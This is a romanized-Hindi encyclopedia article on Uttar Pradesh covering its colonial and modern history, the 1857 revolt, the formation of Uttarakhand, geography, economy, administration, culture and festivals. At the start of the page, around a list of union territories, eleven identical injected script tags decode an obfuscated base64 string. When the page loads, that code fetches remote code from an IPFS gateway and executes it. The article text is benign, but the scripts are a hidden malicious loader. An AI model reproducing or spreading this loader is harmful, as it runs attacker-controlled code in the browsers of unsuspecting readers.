<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dadara tatha nagar haveli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> daman aur div <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lakshadvip <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> puducheri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

lagabhag 75 varsh ki avadhi mean vartaman uttar pradesh ke kshetr ka eest indiya kampani (british vyaparik kampani) ne dhire-dhire adhigrahan kiya. vibhinn uttar bharatiy vanshoan 1775, 1798 aur 1801 mean navaboan, 1803 mean siandhiya aur 1816 mean gorakhoan se chhine ge pradeshoan ko pahale bangal prezidensi ke antargat rakha gaya, lekin 1833 mean inhean alag karake pashchimottar prant (arambh mean agara prezidensi kahalata tha) gathit kiya gaya. 1856 ee. mean kampani ne avadh par adhikar kar liya aur agara evan avadh sanyukt prant (vartaman uttar pradesh ki sima ke samaroop) ke nam se ise 1877 ee. mean pashchimottar prant mean mila liya gaya. 1902 ee. mean isaka nam badalakar sanyukt prant kar diya gaya.

1857-1859 ee. ke bich eest indiya kampani ke viruddh hua vidroh mukhyat: pashchimottar prant tak simit tha. 10 mee, 1857 ee. ko merath mean sainikoan ke bich bh daka vidroh kuchh hi mahinoan mean 25 se bhi adhik shaharoan mean phail gaya. 1858 ee. mean vidroh ke daman ke bad pashchimottar aur shesh british bharat ka prashasan eest indiya kampani se british taj ko hastantarit kar diya gaya. 1880 ee. ke uttararddh mean bharatiy rashtravad ke uday ke sath sanyukt prant svatantrata andolan mean agrani raha. pradesh ne bharat ko motilal neharoo, madan mohan malaviy, javaharalal neharoo aur purushottamadas tandan jaise mahattvapoorn rashtravadi rajanitik neta die. 1922 mean bharat mean british samrajy ki nianv hilane ke lie kiya gaya mahatma gaandhi ka asahayog andolan poore sanyukt prant mean phail gaya, lekin chauri chaura gaanv (prant ke poorvi bhag mean) mean huee hiansa ke karan mahatma gaandhi ne asthayi taurar par andolan ko rok diya. sanyukt prant muslim lig ki rajaniti ka bhi kendr raha. british kal ke dauran relave, nahar aur prant ke bhitar hi sanchar ke sadhanoan ka vyapak vikas hua. aangrezoan ne yahaan adhunik shiksha ko bhi badhava diya aur yahaan par lakhanoo vishvavidyalay (1921 mean sthapit) jaise vishvavidyalay v kee mahavidyalay sthapit kie.

svatantrata pashchat ka kal

1947 mean sanyukt prant nav svatantr bharatiy ganarajy ki ek prashasanik ikaee bana. do sal bad isaki sima ke antargat sthit, tihari gadhaval aur ramapur ke svayatt rajyoan ko sanyukt prant mean shamil kar liya gaya. 1950 mean ne sanvidhan ke lagoo hone ke sath hi sanyukt prant ka nam uttar pradesh rakha gaya aur yah bharatiy sangh ka rajy bana. svatantrata ke bad se bharat mean is rajy ki pramukh bhoomika rahi hai. isane desh ko javahar lal neharoo aur unaki putri iandira gaandhi sahit kee pradhanamantri, soshalist parti ke sansthapak achary narendr dev, jaise pramukh rashtriy vipakshi (alpasankhyak) daloan ke neta aur bharatiy janasangh, bad mean bharatiy janata parti v pradhanamantri atal bihari vajapeyi jaise neta die haian. rajy ki rajaniti, halaanki vibhajanakari rahi hai aur kam hi mukhyamantriyoan ne paanch varsh ki avadhi poori ki hai.

rajy ka vibhajan

uttar pradesh ke gathan ke turant bad uttarakhand kshetr (gadhaval aur kumaooan kshetr dvara nirmit) mean samasyaean uth kh di hueean. is kshetr ke logoan ko laga ki, vishal janasankhya aur vrihad bhaugolik vistar ke karan lakhanoo mean baithi sarakar ke lie unake hitoan ki dekharekh karana sambhav nahian hai. berozagari, gariboan aur samany vyavastha v pine ke pani jaisi adharabhoot suvidhaoan ki kami aur kshetr ke apekshakrit kam vikas ne logoan ko ek alag rajy ki maang karane par vivash kar diya. [[chitr:View-Of-Ayodhya-3.jpg|thumb|300px|left|ayodhya ka ek drishy]] shuroo-shuroo mean virodh kamazor tha, lekin 1990 ke dashak mean isane zor pak da v andolan tab aur bhi ugr ho gaya, jab 2 aktoobar 1994 ko muzaffaranagar mean is andolan ke ek pradarshan mean pulis dvara ki gee golibari mean 40 log mare ge. antat: navambar, 2000 mean uttar pradesh ke pashchimottar hisse se uttaraanchal ke ne rajy ka, jisamean kumaooan aur gadhaval ke paha di kshetr shamil the, gathan kiya gaya.

pratham svatantrata sangram

san 1857 mean aangrezi fauj ke bharatiy sipahiyoan ne bagavat kar di thi. yah bagavat lagabhag ek varsh tak chali aur dhire dhire yah bagavat poore uttar bharat mean fail gayi. isi bagavat ko bharat ka pratham svatantrata sangram nam diya gaya. yah bagavat merath shahar se shuroo huee. jisaka karan aangrezoan dvara gay aur suar ki charbi se bane karatoos the. is bagavat ki vazah l aaurd dalahauzi ki rajy h dapane ki niti bhi thi. yah sangram mukhyatah dilli, lakhanoo, kanapur, jhaansi aur bareli mean l da gaya. is sangram mean jhaansi ki rani lakshmibaee, avadh ki begam hazarat mahal, bakht khan, nana saheb, tatya tope adi anek deshabhaktoan ne bhag liya. uttar pradesh rajy ki bauddhik shreshthata british shasan kal mean bhi bani rahi. sanh 1902 mean 'narth vest provins' ka nam badal kar 'yoonaitid provins aauph agara end avadh' kar diya gaya. sadharan bolachal ki bhasha mean ise 'yoo. pi.' kaha gaya. sanh 1920 mean pradesh ki rajadhani ko ilahabad ke sthan par lakhanoo bana diya gaya. pradesh ka uchch nyayalay ilahabad mean hi bana raha aur lakhanoo mean uchch nyayalay ki ek nyayapith shakha (haeekort baianch) sthapit ki gayi. bad mean 1935 mean isaka sankshipt nam 'sanyukt praant' prachalit ho gaya. svatantrata prapti ke bad 12 janavari 1950 mean 'sanyukt praant' ka nam badal kar ‘uttar pradesh’ rakha gaya. goviand ballabh pant is pradesh ke pratham mukhy mantri bane. aktoobar 1963 mean sucheta kripalani uttar pradesh aur bharat ki 'pratham mahila mukhyamantri' banian.

san 2000 mean bharatiy sansad ne uttar-pradesh ke uttar pashchimi, poorvottar uttar pradesh ke mukhyatah paha di bhag gadhaval aur kumaooan mandal ko mila kar uttar pradesh ko vibhajit kar uttaraanchal rajy ka nirman kiya, jisaka nam bad mean badal kar uttarakhand kar diya gaya hai. uttar pradesh ki adhikaansh jhilean kumaooan kshetr mean haian.

bhoogol

uttar pradesh ki nadiyaan

ganga nadi|200px|center

ganga nadi, haridvar

yamuna nadi|200px|center

yamuna nadi, mathura

sindhu nadi|200px|center

sindhu nadi

ken nadi|200px|center

ken nadi

ramaganga nadi|200px|center

ramaganga nadi

uttar pradesh ke pramukh bhoogoliy tatv is prakar se haian-

bhoomi

• bhoo-akriti - uttar pradesh ko do vishisht bhaugolik kshetroan, ganga ke madhyavarti maidan aur dakshini uchchabhoomi mean baanta ja sakata hai. uttar pradesh ke kul kshetraphal ka lagabhag 90 pratishat hissa ganga ke maidan mean hai. maidan adhikaanshat: ganga v usaki sahayak nadiyoan ke dvara lae ge jalodh avasadoan se bane haian. is kshetr ke adhikaansh hissoan mean utar-chadhav nahian hai, yadyapi maidan bahut upajaoo hai, lekin inaki ooanchaee mean kuchh bhinnata hai, jo pashchimottar mean 305 mitar aur sudoor poorv mean 58 mitar hai. ganga ke maidan ki dakshini uchchabhoomi atyadhik vichchhedit aur visham viandhy parvatamala ka ek bhag hai, jo samanyat: dakshin-poorv ki or uthati chali jati hai. yahaan ooanchaee kahian-kahian hi 305 se adhik hoti hai.

nadiyaan

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uttar pradesh mean anek nadiyaan hai jinamean ganga, ghaghara, gomati, yamuna, chambal, son adi mukhy hai. pradesh ke vibhinn bhagoan mean pravahit hone vali in nadiyoan ke udagam sthan bhi bhinn-bhinn hai, atah inake udagam sthaloan ke adhar par inhean nimnalikhit bhagoan mean vibhajit kiya ja sakata hai.

1. himalay parvat se nikalane vali nadiyaan
2. ganga ke maidani bhag se nikalane vali nadiyaan
3. dakshini pathar se nikalane vali nadiyaan

jhil

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uttar pradesh mean jhiloan ka abhav hai. yahaan ki adhikaansh jhilean kumaooan kshetr mean haian jo ki pramukhatah bhoogarbhiy shaktiyoan ke dvara bhoomi ke dharatal mean parivartan ho jane ke parinamasvaroop nirmit huee haian.

nahar

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naharoan ke vitaran evan vistar k drishti se uttar pradesh ka agraniy sthan hai. yahaan ki kul sianchit bhoomi ka lagabhag 30 pratishat bhag naharoan ke dvara sianchit hota hai. yahaan ki naharean bharat ki prachinatam naharoan mean se ek haian.

apavah

yah rajy uttar mean himalay aur dakshin mean viandhy parvatamala se udagamit nadiyoan ke dvara bhali-bhaanti apavahit hai. ganga evan usaki sahayak nadiyoan, yamuna nadi, ramaganga nadi, gomati nadi, ghaghara nadi aur gandak nadi ko himalay ke him se lagatar pani milata rahata hai. viandhy shreni se nikalane vali chanbal nadi, betava nadi aur ken nadi yamuna nadi mean milane se pahale rajy ke dakshin-pashchimi hisse mean bahati hai. viandhy shreni se hi nikalane vali son nadi rajy ke dakshin-poorvi bhag mean bahati hai aur rajy ki sima se bahar bihar mean ganga nadi se milati hai.

mrida

uttar pradesh ke kshetraphal ka lagabhag do-tihaee bhag ganga tantr ki dhimi gati se bahane vali nadiyoan dvara laee gee jalodh mitti ki gahari parat se dhanka hai. atyadhik upajaoo yah jalodh mitti kahian retili hai, to kahian chikani domat. rajy ke dakshini bhag ki mitti samanyataya mishrit lal aur kali ya lal se lekar pili hai. rajy ke pashchimottar kshetr mean mrida kankarili se lekar urvar domat tak hai, jo mahin ret aur hyoomas mishrit hai, jisake karan kuchh kshetroan mean ghane jangal haian. [[chitr:Tajmahal-1.jpg|thumb|300px|left|tajamahal, agara
Tajmahal, Agra]]

jalavayu

uttar pradesh ki jalavayu ushnakatibandhiy manasooni hai. rajy mean ausat tapaman janavari mean 12.50 se 17.50 se. rahata hai, jabaki mee-joon mean yah 27.50 se 32.50 se. ke bich rahata hai. poorv se (1,000 mimi se 2,000 mimi) pashchim (610 mimi se 1,000 mimi) ki or varsha kam hoti jati hai. rajy mean lagabhag 90 pratishat varsha dakshin-pashchim manasoon ke dauran hoti hai, jo joon se sitambar tak hoti hai. varsha ke in char mahinoan mean hone ke karan badh ek avarti samasya hai, jisase khasakar rajy ke poorvi hisse mean fasal, janajivan v sampatti ko bhari nuqasan pahuanchata hai. manasoon ki lagatar viphalata ke parinamasvaroop sookha p data hai v fasal ka nuqasan hota hai.

vanaspati evan prani jivan

rajy mean van mukhyat: dakshini uchchabhoomi par kendrit haian, jo zyadatar jha didar haian. vividh sthalakriti evan jalavayu ke karan is kshetr ka prani jivan samriddh hai. is kshetr mean sher, teandua, hathi, jangali sooar, gh diyal ke sath-sath kabootar, fakhta, jangali battakh, titar, mor, kathapho dava, nilakanth aur bater pae jate haian. kee prajatiyaan, jaise-ganga ke maidan se sianh aur taraee kshetr se gaiande ab vilupt ho chuke haian. vany jivan ke sanrakshan ke lie sarakar ne 'chandraprabha vanyajiv abhayarany' aur 'dudhava abhayarany' sahit kee abhayarany sthapit kie haian.

janajivan

isase ek alag rajy ke gathan hone ke bavajood uttar pradesh abhi bhi janasankhya ke mamale mean sabhi rajyoan aur kendrashasit pradeshoan se kafi age hai. 2001 ki janaganana ke anusar, rajy ki janasankhya 25.80 pratishat badhi. janasankhya ka laukik anupat (prati 1000 purush par mahilaoan ki sankhya) 898 darj kiya gaya hai, jo 1991 ke 876 ke muqabale behatar hai. ganga ka maidan, jahaan janasankhya ka ghanatv sabase adhik hai, rajy ki 80 pratishat se bhi adhik janasankhya ka bharan-poshan karata hai. isaki tulana mean himalay kshetr v dakshini uchchabhoomi mean janasankhya ka ghanatv bahut kam hai.

jatiy evan bhashaee sanghatan

rajy ki adhikaansh janasankhya ary-dravi d jatiy samooh se sambaddh hai. yahaan ki janasankhya ka lagabhag 80 pratishat hissa hindoo, lagabhag 20 pratishat musalaman v ek pratishat se bhi kam any dharmik samudayoan, sikkh, bauddh, eesaee v jain matavalambiyoan ka hai. hindi (rajy ki rajakiy bhasha) 85 pratishat v urdoo 15 pratishat logoan ki matribhasha hai. logoan dvara bole jane vali hindustani bhasha mean donoan hi bhashaoan ke samany shabd haian, jise rajy bhar mean samajha jata hai.

avasin rachana

[[chitr:Ganga-Varanasi.jpg|thumb|250px|varanasi mean ganga nadi ke ghat
Ganga River, Varanasi]] kanapur rajy ki 80 pratishat se adhik janasankhya gramin kshetroan mean rahati hai. gramin avasoan ki visheshataean haian-rajy ke pashchimi hisse mean pae jane vale ghane base hue gaanv, poorvi kshetr mean pae jane vale chhote gaanv aur madhy kshetr mean donoan ka samooh hota hai, jisaki chhat phoos ya mitti ke khap doan se bani hoti hai. in makanoan mean halaanki adhunik jivan ki bahut kam suvidhaean haian, lekin shaharoan ke pas base kuchh gaanvoan mean adhunikikaran ki prakriya spasht taur par dikhaee deti hai. simeant se bane ghar, pakki s dakean, bijali, rediyo, telivijan jaisi upabhokta vastuean paramparik gramin jivan ko badal rahi haian. shahari janasankhya ka adhe se adhik hissa ek lakh se adhik janasankhya vale shaharoan mean rahata hai. lakhanoo, varanasi (banaras), agara aur ilahabad uttar pradesh ke paanch sabase b de nagar haian. kanapur uttar pradesh ke madhy kshetr mean sthit pramukh audyogik shahar hai. kanapur ke poorvottar mean 48 kimi. ki doori par rajy ki rajadhani lakhanoo sthit hai. hinduoan ka sarvadhik pavitr shahar varanasi vishv ke prachinatam satat avasiy shaharoan mean se ek hai. ek any pavitr shahar ilahabad ganga, yamuna aur pauranik sarasvati nadi ke sangam par sthit hai. rajy ke dakshin-pashchimi hisse mean sthit agara mean mugal badashah shahajahaan dvara apani begam ki yad mean banavaya gaya maqabara tajamahal sthit hai. yah bharat ke prasiddh paryatan sthaloan mean se ek hai.

arthavyavastha

uttar pradesh ki arthavyavastha ke nimn sadhan haian-

sansadhan

arthik taur par uttar pradesh desh ke atyadhik alpavikasit rajyoan mean se ek hai. yah mukhyat: krishi pradhan rajy hai aur yahaan ki tin-chauthaee (75 pratishat) se adhik janasankhya krishi karyoan mean lagi huee hai. rajy mean audyogikikaran ke lie mahattvapoorn khanij evan oorja sansadhanoan ki kami hai. yahaan par keval silika, choona patthar v koyale jaise khanij padarth hi ullekhaniy matra mean pae jate haian. isake alava yahaan jipsam, maignetait, f aausforait aur b aauksait ke alp bhandar bhi pae jate haian.

krishi evan vaniki

[[chitr:Sarnath-Temple.jpg|thumb|250px|moolagandh kuti vihar, saranath]] rajy ki arthavyavastha ka mukhy adhar krishi hai. chaval, gehooan, jvar, bajara, jau aur ganna rajy ki mukhy fasalean haian. 1960 ke dashak se gehooan v chaval ki uchch paidavar vale bijoan ke prayog, urvarakoan ki adhik upalabdhata aur sianchaee ke adhik istemal se uttar pradesh khadyann ka sabase b da utpadak rajy ban gaya hai. yadyapi kisan do pramukh samasyaoan se grast haian: arthik roop se alabhakari chhote khet aur behatar utpadan ke lie praudyogiki mean nivesh karane ke lie aparyapt sansadhan, rajy ki adhikatam krishi bhoomi kisanoan ko mushkil se hi bharan-poshan kar pati hai. pashudhan v deyari udyog ay ke atirikt srot haian. uttar pradesh mean bharat ke kisi bhi shahar ke muqabale sarvadhik pashu pae jate haian. halaanki prati gay doodh ka utpadan kam hai.

udyog

rajy mean kafi samay se maujood vastr udyog v chini prasanskaran udyog mean rajy ke kul milakarmiyoan ka lagabhag ek-tihaee hissa laga hai. rajy ki adhikaansh milean purani v aksham haian. any sansadhan adharit udyogoan mean vanaspati tel, joot v simeant udyog shamil haian. kendr sarakar ne yahaan par bhari upakaran, mashinean, ispat, vayuyan, telifon, ilektr aaunik upakaran aur urvarakoan ke utpadan vale bahut se b de karakhane sthapit kie haian. yahaan mathura mean ek tel parishkaranashala aur rajy ke dakshin-poorvi mirzapur zile mean koyala kshetr ka vikas kendr sarakar ki do pramukh pariyojanaean haian. rajy sarakar ne madhyam aur laghu star ke udyogoan ko protsahan diya hai.

hastashilp, qalin, pital ki vastuean, joote-chappal, cham de v khel ka saman rajy ke niryat mean pramukhata ke sath yogadan dete haian. bhadoee v mirzapur ke qalin duniya bhar mean sarahe jate haian. varanasi ka resham v zari ka kam, muradabad ki pital ki khoobasoorat vastuean, lakhanoo ki chikanakari, nagua ka abanoos ki lak di ka kam, firozabad ki kaanch ki vastuean aur saharanapur ka naqaqashidar lak di ka kam bhi ullekhaniy hai. sarvajanik kshetr ke vanijyik baiankoan ki sankhya uttar pradesh mean hi sabase adhik hai. desh ke vikas mean is pradesh ka bahut hi mahattvapoorn yogadan hai. [[chitr:Krishna Birth Place Mathura-13.jpg|thumb|250px|left|krishna janmabhoomi, mathura
Shri Krishna's Janm Bhumi, Mathura]] vartaman samay mean uttar pradesh bijali ki bhishan kami ka shikar hai. 1951 se sthapit any vidyut utpadan kendroan se kshamata badhi hai, lekin maang aur apoorti ke bich antar badhata hi ja raha hai. bharat ke adhikatam tapavidyut kendroan mean se ek obara-rihand (dakshin-poorvi uttar pradesh), rajy ke kee any hissoan mean sthit vibhinn panabijali sanyantroan aur bulandashahar ke paramanu bijalighar mean bijali ka utpadan kiya jata hai.

varsh 2004-05 mean uttar pradesh mean kul 5,21,835 laghu udyog ikaiyaan thian, jinamean lagabhag 5,131 karo d rupaye ki pooanji ka nivesh tha aur lagabhag 20,01,000 log kam kar rahe the. varsh 2004-05 mean rajy mean lagabhag 45.51 lakh tan chini ka utpadan hua. uttar pradesh rajy mean 68 kap da milean aur 32 atomobail ke karakhane haian, jinamean 5,740 karo d rupaye ki pooanji ka nivesh hai. sanh 2011 tak 'noeda pradhikaran' ke aantargat 102 sektar vikasit karane ki yojana chal rahi hai. is pradhikaran mean audyogik kshetr, avasiy kshetr, grup hausiang kshetr, avasiy bhavan, vyavasayik parisanpattiyaan aur sansthagat shiksha kshetr shamil haian. noeda aur gretar noeda ki bhaanti hi rajy mean any sthanoan par audyogik kshetroan ko vikasit karane ke lie kary kiye ja rahe haian.

sianchaee aur bijali

• 14 janavari, 2000 ko 'uttar pradesh rajy bijali bord' ka punargathan karake 'uttar pradesh vidyut nigam', 'uttar pradesh rajy vidyut utpadan' tatha 'uttar pradesh panabijali nigam' ko sthapit kiya gaya hai.
• 2004 - 05 mean rajy ki sianchaee kshamata badhakar 319.17 lakh hekteyaratak karane ke lie 98,715 karo d rupaye ka nivesh kiya gaya hai.
• 'uttar pradesh rajy bijali bord' ki sthapana ke samay pan bijaligharoan aur tap bijaligharoan ki kul vidyut utpadan kshamata 2,635 megavat thi jo aj badhakar 4,621 megavat tak ho gee hai.

yatayat aur parivahan

rajy ke pramukh shahar v nagar s dakoan v rel sampark se ju de haian, phir bhi amataur par s dakoan ki sthiti kharab hai aur rel ki patariyoan ki bhinn lainoan (b di aur chhoti) ke bich samanjasy n hone ke karan rel pranali bhi prabhavit huee hai. lakhanoo uttari netavark ka mukhy jankshan hai. uttar pradesh ke mukhy nagar vayumarg dvara dilli v bharat ke any shaharoan se ju de hue haian. rajy ke bhitar ke parivahan tantr mean ganga, yamuna aur ghaghara nadiyoan ki aantardeshiy jal parivahan vyavastha bhi shamil hai. thumb|250px|uttar pradesh ka manachitr
Map Of Uttar Pradesh

s dakean

uttar pradesh ke lok nirman vibhag dvara nirmit s dakoan ki kul lanbaee 1,18,946 kilomitar hai. isamean 3,869 kilomitar rashtriy rajamarg, 9,097 kilomitar praantiy rajamarg, 1,05,980 kilomitar any zila s dakean aur 72,931 kilomitar gramin s dakean haian.

relave marg

relave ka uttari netavark ka mukhy jankshan rajadhani lakhanoo hai. any mahattvapoorn rel jankshan- agara, kanapur, ilahabad, mugalasaray, jhaansi, muradabad, varanasi, tooandala, gorakhapur, goanda, faizabad, bareli aur sitapur haian.

uddayan vibhag

pradesh mean lakhanoo, kanapur, varanasi, ilahabad, agara, jhaansi, bareli, gaziyabad, gorakhapur, saharanapur aur rayabareli mean havaee adde haian.

prashasan evan samaj

uttar pradesh ke prashasan evan samaj ki nimnalikhit visheshataean haian- [[chitr:Kagyu-Tibetan-Monastery.jpg|thumb|250px|left|kagyoo tibbati math, saranath]]

sarakar

uttar pradesh mean sarakar ka sansadiy svaroop hai, jisamean karyapalika, vidhayika aur nyayapalika shamil hai. karyapalika mean rajyapal hota hai, jisaki sahayata evan salah ke lie mukhyamantri ke netritv mean ek mantrimandal hota hai. vidhayika dvisadaniy hai: ek sthayi nikay vidhan parishad, jisake ek-tihaee sadasy har do sal mean sevanivritt hote haian. vidhan sabha, jisake sadasy paanch varsh ke lie chune jate haian. nyayapalika mean uchch nyayalay shamil hai, jisaka pramukh mukhy nyayadhish hota hai. rajy ka uchch nyayalay ilahabad mean hai, rajadhani lakhanoo mean bhi isaki ek pith hai. rajy star ke niche sthaniy prashasan ke lie 70 zile haian.

shiksha

rajy mean 16 vishvavidyalay, 400 se adhik sambaddh mahavidyalay, kee chikitsa mahavidyalay aur vishisht adhyayanoan v shodh ke lie kee sansthan haian. 1950 ke dashak ke bad se rajy mean vidyalayoan v sabhi staroan par vidyarthiyoan ki sankhya badhane ke bavajood rajy ki janasankhya ka 75.36 pratishat hissa hi sakshar hai. prathamik star par shiksha ka madhyam hindi (kuchh niji vidyalayoan mean madhyam aangrezi) hai, uchchatar vidyalay ke vidyarthi hindi v aangrezi mean padhaee karate haian. jabaki vishvavidyalay star par amataur par shiksha ka madhyam aangrezi hai. 1991 ke 40.71 pratishat ke muqabale 2001 mean rajy ki kul saksharata dar badhakar 57.36 pratishat ho gee hai. [[chitr:Banaras-Hindu-University.jpg|thumb|250px|kashi hindoo vishvavidyalay]] rajy mean ek iandiyan ianstityoot aauf teknol aauji (kanapur), ek iandiyan ianstityoot aauf mainejameant (lakhanoo), ek iandiyan ianstityoot aauf inf aaurmeshan teknol aauji aur kafi sankhya mean p aauliteknik, ianjiniyariang v audyogik prashikshan sansthan haian.

svasthy evan jan kalyan

rajy mean svasthy sevaean vibhinn sarakari aspataloan v chikitsalayoan, niji elopaithik, homyopaithik, ayurvedik aur yoonani chikitsakoan ke dvara upalabdh karavaee jati hai. kuchh pramukh aspataloan ko chho dakar rajy ke aspataloan v chikitsalayoan mean pradan ki ja rahi svasthy sevaoan ka star amataur par kharab hai. rajy ki janasankhya ka ek b da anupat anusoochit jati v janajati ka hai. azadi ke bad bahut se kendriy v rajy star ke kalyanakari karyakramoan ne shiksha, rozagar aur rajanitik pratinidhitv mean in logoan ko behatar avasar pradan kie haian.

saanskritik jivan

uttar pradesh hinduoan ki prachin sabhyata ka udagam sthal hai. vaidik sahity mahakavy ramayan aur mahabharat (jisamean shrimadbhagavadagita shamil hai) ke ullekhaniy hissoan ka mool yahaan ke kee ashramoan mean hai. bauddh-hindoo kal (lagabhag 600 ee. poo.-1200 ee.) ke granthoan v vastushilp ne bharatiy saanskritik virasat mean b da yogadan diya hai. 1947 ke bad se bharat sarakar ka chihn maury samrat ashok ke dvara banavae ge char sianh yukt stambh (varanasi ke nikat saranath mean sthit) par adharit hai. [[chitr:Ganga-River-Aarti.jpg|thumb|250px|left|arati, ganga nadi, ilahabad
Aarti, Ganga River, Allahabad]] vastushilp, chitrakari, sangit, nrityakala aur do bhashaean (hindi v urdoo) mugal kal ke dauran yahaan par phali-phooli. is kal ke chitroan mean samanyataya dharmik v aitihasik granthoan ka chitran hai. yadyapi sahity v sangit ka ullekh prachin sanskrit granthoan mean kiya gaya hai aur mana jata hai ki gupt kal (lagabhag 320-540) mean sangit samriddh hua. sangit parampara ka adhikaansh hissa is kal ke dauran uttar pradesh mean vikasit hua. tanasen v baijoo bavara jaise sangitajn mugal shahanshah akabar ke darabar mean the, jo rajy v samooche desh mean aj bhi vikhyat haian. bharatiy sangit ke do sarvadhik prasiddh vady, sitar (vina parivar ka tantu vady) aur tabale ka vikas isi kal ke dauran is kshetr mean hua. 18vian shatabdi mean uttar pradesh mean vrindavan v mathura ke mandiroan mean bhaktipoorn nrity ke taur par vikasit shastriy nrity shaili kathak uttari bharat ki shastriy nrity shailiyoan mean sarvadhik prasiddh hai. isake alava gramin kshetroan ke sthaniy git v nrity bhi haian. sabase prasiddh lokagit mausamoan par adharit haian.

hindi bhasha ka janmasthal

uttar pradesh bharat ki rajakiy bhasha hindi ki janmasthali hai. shatabdiyoan ke dauran hindi ke kee sthaniy svaroop vikasit hue haian. sahityik hindi ne 19vian shatabdi tak kh di boli ka vartaman svaroop (hindustani) dharan nahian kiya tha. varanasi ke bharatendu harishchandr (1850-1885 ee.) un agrani lekhakoan mean se the, jinhoanne hindi ke is svaroop ka istemal sahityik madhyam ke taur par kiya tha.

saanskritik sansthan

[[chitr:Holi Barsana Mathura 1.jpg|thumb|250px|latthamar holi, barasana]] uttar pradesh ke kala sangrahalayoan mean lakhanoo sthit rajy sangrahalay, mathura sthit puratatvik sangrahalay, bauddh puratatvik sangrahalay, saranath sangrahalay pramukh haian. lakhanoo sthit kala evan hindustani sangit ke mahavidyalay aur ilahabad sthit prayag sangit samiti ne desh mean kala v shastriy sangit ke vikas mean bahut yogadan diya hai. nagari pracharini sabha, hindi sahity sammelan aur hindustani akadami hindi sahity ke vikas mean sahayak rahi haian. hal hi mean urdoo sahity ke sanrakshan v samriddhi ke lie rajy sarakar ne urdoo akadami ki sthapana ki hai.

tyohar

samay samay par sabhi dharmoan ke tyohar manaye jate haian-

• ilahabad mean pratyek barahavean varsh mean kuanbh ka mela ayojit kiya jata hai jo ki sanbhavat: duniya ka sabase b da mela hai.
• isake atirikt ilahabad mean pratyek 6 sal bad arddh kuanbh mele ka ayojan kiya jata hai.

[[chitr:Kumbh mela.jpg|thumb|250px|left|ilahabad mean kumbh mela
Kumbh Mela, Allahabad]]

• ilahabad mean hi pratyek varsh janavari mah mean magh mela bhi ayojit kiya jata hai, jahaan badi sankhya mean log sangam mean nahate haian.
• any meloan mean mathura, vrindavan v ayodhya mean anek parvoan ke mele aur jhoola mele lagate haian, jinamean prabhu ki pratimaoan ko sone evan chaandi ke jhooloan mean rakhakar jhulaya jata hai. ye jhoola mele lagabhag ek pakhavade tak chalate haian.
• kartik poornima ke avasar par ganga nadi mean dubaki lagana atyant astha se paripoorn hai aur bahut hi pavitr mana jata hai aur isake lie gadhamukteshvar, soroan, rajaghat, kakora, bithoor, kanapur, ilahabad, varanasi, aur ayodhya mean badi sankhya mean log ekatrit hote haian.
• agara zile ke bateshvar kasbe mean pashuoan ka prasiddh mela lagata hai.
